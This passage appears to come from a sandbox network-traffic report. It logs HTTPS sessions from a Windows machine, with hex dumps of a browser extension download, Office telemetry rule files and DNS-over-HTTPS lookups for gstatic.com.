2024-10-30 14:59:48 UTC	1386	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 37 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 49 6e 74 65 6c 6c 69 67 65 6e 74 53 65 72 76 69 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 49 6e 74 65 6c 6c 69 67 65 6e 74 53 65 72 76 69 63 65 73 22 20 53 3d 22 4d 65 64 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701700" V="1" DC="SM" EN="Office.Telemetry.Event.Office.IntelligentServices" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenIntelligentServices" S="Med

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49849	142.250.186.65	443	7564	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:30 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 14:59:30 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY2BVtVOjNBVT-MoVVT5yJ1jw_NnQluRmptGXyYAmyP6pTinJ2a9vJcJyx51ucKVNNuADGcnbX_ClA X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Tue, 29 Oct 2024 20:33:29 GMT Expires: Wed, 29 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 66361 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 14:59:30 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-30 14:59:30 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-10-30 14:59:30 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-10-30 14:59:30 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-30 14:59:30 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-10-30 14:59:30 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-10-30 14:59:30 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-10-30 14:59:30 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-10-30 14:59:30 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-10-30 14:59:30 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49709	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:31 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:31 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:31 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: c3c23e01-401e-008c-4e94-2986c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145931Z-17c5cb586f64v7xsc2ahm8gsgw000000038g000000001gzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:31 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49710	13.107.246.45	443	5580	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:31 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:31 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:31 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145931Z-16849878b78x6gn56mgecg60qc00000009vg00000000wyeb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:31 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49696	13.95.31.18	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:31 UTC	142	OUT	GET /clientwebservice/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: fe3cr.delivery.mp.microsoft.com
2024-10-30 14:59:31 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 14:59:31 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49719	172.64.41.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 14:59:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 14:59:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 14:59:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8dac450c5db7e972-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 14:59:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ce 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49718	162.159.61.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 14:59:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 14:59:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 14:59:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8dac450c5a97e92e-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 14:59:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 61 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomaq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49717	162.159.61.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
